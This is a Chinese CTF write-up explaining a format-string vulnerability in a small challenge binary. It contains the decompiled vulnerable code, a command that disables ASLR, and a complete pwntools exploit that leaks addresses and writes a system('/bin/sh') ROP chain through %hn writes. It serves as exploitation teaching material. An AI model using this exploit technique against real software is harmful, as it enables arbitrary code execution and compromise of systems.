网友给了一个题,这题是个格式化字符串漏洞的题。很有代表性,专门把这题说一下。其中为入门级的多说些废话。
作pwn题是绕不开gdb的,而gdb本身不方便用,于是有了各种插件pwngdb,peda,gdbinit,gef都很牛,我用的是gef这个从网上下个附件就能用很方便。
常用命令有b下断点,vmmap,tel,set等。不是这里主要内容,有需要网上搜。
一般pwn题需要指定libc在process可以指libc,但我更喜欢用patchelf直接给程序打上补丁。因为那种似乎对堆不大友好。本题给了Dockerfile
FROM ubuntu:20.04
RUN apt-get update
RUN apt-get install -y socat
COPY ./net.sh /home/net.sh
COPY ./shell /home/shellRUN useradd user
RUN chown -R user:user /home
USER userWORKDIR /home
EXPOSE 10000
ENTRYPOINT ["/home/net.sh"]
这里边给定的系统是Ubuntu:20.04对应的libc大版本是libc-2.31 ,小版本未知但对这题来说已经足够了。
于是给shell打个补丁:
patchelf --set-interpreter ~/glibc/libs/2.31-0ubuntu9.9_amd64/ld-2.31.so she
patchelf --add-needed ~/glibc/libs/2.31-0ubuntu9.9_amd64/libc-2.31.so she
这个与本题基本无关,可有可无,但题目是动态加载的跟起来不方便,可以把aslr关掉
sudo /bin/sh
echo 0 > /proc/sys/kernel/randomize_va_space
__int64 __fastcall main(int a1, char **a2, char **a3)
{
int i; // [rsp+4h] [rbp-Ch]
void *s; // [rsp+8h] [rbp-8h]
s = malloc(0x64uLL);
for ( i = 0; i <= 49; ++i )
{
memset(s, 0, 0x64uLL);
printf("> ");
fflush(stdout);
read(0, s, 0x64uLL);
if ( !strcmp((const char *)s, "exit\n") )
break;
vuln(s);
}
return 0LL;
}
int __fastcall vuln(const char *a1)
{
char *s; // [rsp+10h] [rbp-10h]
FILE *stream; // [rsp+18h] [rbp-8h]
s = (char *)malloc(0x64uLL);
stream = fopen("./file.txt", "w");
if ( !strcmp(a1, "ls\n") )
{
puts("file.txt");
}
else if ( !strncmp(a1, "cat", 3uLL) )
{
fgets(s, 100, stream);
printf(s);
}
else if ( !strncmp(a1, "echo ", 5uLL) )
{
fputs(a1 + 5, stream);
}
return fclose(stream);
}
程序短,主程序读入一个串到堆里(这里定义的s是个指针,然后在堆里建块,把数据读进去),然后调用函数vuln这个是我随便写的,也算个习惯,改过以后很容易看出哪个函数用到哪个没用到。再看起来方便。
子函数会根据头几个字符分别执行3个功能,
对于printf来说,需要一个指针,然后往这个指针指定位置写数据,格式是
%1234c%17$hn
具体参数不多说了。这里边写入的数据不在栈上,所以这个写入的数据也就指不到偏移了,能不能够通过堆地址找到没试过
在不能直接写栈的情况下,有个方便的链rbp->rbp 每进一个函数都会压栈rbp这样rbp就成链用一个指另一个然后指向写数据的地方再写数据。不过这种情况需要至少3层的函数。这题恰巧也没有。
然后就是另外一个链argc,在libc调用的情况会有一个指针指向栈里边程序名字的串
s1->s2->'shell'
利用方法是通过s1修改s2指向栈里写ROP的地址,然后一点点把ROP写进去,每次写一两个字节, 然后修改s2指向下一位置。
题目里地址都是不知道的,printf会把偏移地址的值打印出来。
一般情况下64位通过寄存器值参,printf在偏移6就到当前函数的栈顶。(32位通过栈值参多一点是8)。具体还要打印出以后再与gdb核对。
这个图在作题时很重要,当输入%6$p,%7$p,%8$p,%9$p时会打印出最上边4个值,也就确定的偏移是6。
这里边有几个地址用红箭头标出来:
另外一个用黄框标出来的是将来写ROP的位置,为什么不直接写__libc_start_main_ret呢,因为这里利用了栈指针。这个批针太近了。当然也有别的办法处理,稍麻烦点。
另外,有时候这种情况不给退出命令,比如在main/break这里写个exit,想退出其实更好的办法是写vuln的返回地址,在执行printf后退出函数时就会执行到这里。把这里写成pop xxx 可以通过这个调节直接跳到写的ROP的位置,这里恰好ppp6可以跳到。而ppp6这个万能gadget是init里基本必有的(新版本没了)
所以第1步漏洞很容易了,指定偏移就行。
from pwn import *
p = process('./she')
context(arch='amd64', log_level='debug')
elf = ELF('./she')
libc = ELF('/home/kali/glibc/libs/2.31-0ubuntu9.9_amd64/libc-2.31.so')
#gdb.attach(p, "b*0x0000555555555386\nc")
def show(msg):
p.sendafter(b"> ", b'echo '+msg.encode())
p.sendafter(b"> ", b'cat')
show('%10$p,%11$p,%15$p\n')
stack, vuln, libc_start_main_ret = [int(v,16) for v in p.recvline().strip().split(b',')]
stack = stack + 0x20
libc.address = libc_start_main_ret - 243 - libc.sym['__libc_start_main']
elf.address = vuln - 0x141b
print(f"{stack = :x} {libc.address = :x} {elf.address = :x}")
这里由于关闭了aslr所以可以写个静态的gdb中断。
在栈里修改数据,需要指定偏移,而这个偏移由于读入的数据并不在栈上,所以需要用到这个链。这里s1是偏移17,它指向s2,偏移是45,通过s1修改s2的尾字节,让他指写我们要写ROP的位置,然后再通过s2来执行写。偏移每8字节+1,正好1行。计算可以数,也可以通过算,通常情况下argc这个链可能会很远,脱鞋也数不到。
>>> (0xf98-0xe60)//8
39
>>> 39+6
45
第1步要通过17把45的尾字节修改让他指向ROP
# 17->45->18
show(f'%{ stack&0xffff }c%17$hn')
64位地址其实只用了6位,所以每字写3次,第1次写lln8字节整数清0并写入后边每次写两字节。ROP很简单就是pop_rdi,bin_sh,system
def write_rop(off, v):
off = off&0xff
v1,v2,v3 = v&0xffff, (v>>16)&0xffff, (v>>32)&0xffff
show(f'%{off}c%17$hhn')
show(f"%{v1}c%45$lln")
show(f'%{off+2}c%17$hhn') #17->45->rop+2
show(f"%{v2}c%45$hn")
show(f'%{off+4}c%17$hhn')
show(f"%{v3}c%45$hn")
pop_rdi = next(elf.search(asm('pop rdi;ret')))
bin_sh = next(libc.search(b'/bin/sh\x00'))
system = libc.sym['system']
write_rop(stack,pop_rdi)
write_rop(stack+8,bin_sh)
write_rop(stack+16,system)
把vuln的返回地址改成ppp6
show(f'%{ (stack&0xff) -0x38 }c%17$hhn')
show(f'%{0x8a}c%45$hhn')
p.interactive()
这时候返回里会执行ppp6弹掉6个后到pop_rdi, bin/sh,system得到shell